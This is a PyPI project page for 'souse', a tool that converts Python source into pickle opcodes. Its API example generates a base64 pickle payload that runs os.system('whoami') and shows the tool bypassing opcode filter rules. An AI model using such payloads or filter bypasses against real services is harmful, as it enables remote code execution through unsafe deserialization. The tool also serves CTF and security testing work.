Skip to main content

A tool for converting Python source code to opcode(pickle)

Project description

souse

A tool for converting Python source code to opcode(pickle)

1. help

2. usage

2.1 CLI

./test/ has some example codes for souse.py. The filename starts with N is NOT supported yet.

2.1.1 case 1

source code:

opcode:

2.1.2 case 2

source code:

opcode:

2.1.3 case 3

transfer opcode:

supported:

  • base64_encode
  • hex_encode
  • url_encode

2.1.4 test code

2.2 API

example:

In [1]: import souse

In [2]: exp = "from os import system\nsystem('whoami')"

In [3]: souse.API(exp, optimized=True, transfer="b64").generate()
Out[3]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [4]: import base64

In [5]: souse.API(exp, optimized=True, transfer=base64.b64encode).generate()
Out[5]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [6]: souse.API(exp, optimized=True, transfer=[bytes.decode, str.encode, base64.b64encode]).generate()
Out[6]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [7]: import pickle

In [8]: firewall_rules = {
    ...:     "V": "*",
    ...:     "I01": "*",
    ...:     "I": "100",
    ...:     "R": "*"
    ...: }

In [9]: souse.API(exp, optimized=True, transfer=pickle.loads, firewall_rules=firewall_rules).generate()
[*] choice o to bypass rule: {'R': '*'}
[*] choice S to bypass rule: {'V': '*'}
macr0phag3
Out[9]: 0

3. TODO

  • support for nested expressions
  • opcode bypass supported
    • auto bypass basic limitation(VSI、...)
    • auto bypass complex limitation(Roi
  • value bypass supported
    • number
  • API
  • pip install supported

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

souse-3.2.2.tar.gz (11.9 kB view hashes)

Uploaded Source

Built Distribution

souse-3.2.2-py3-none-any.whl (14.8 kB view hashes)

Uploaded Python 3

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page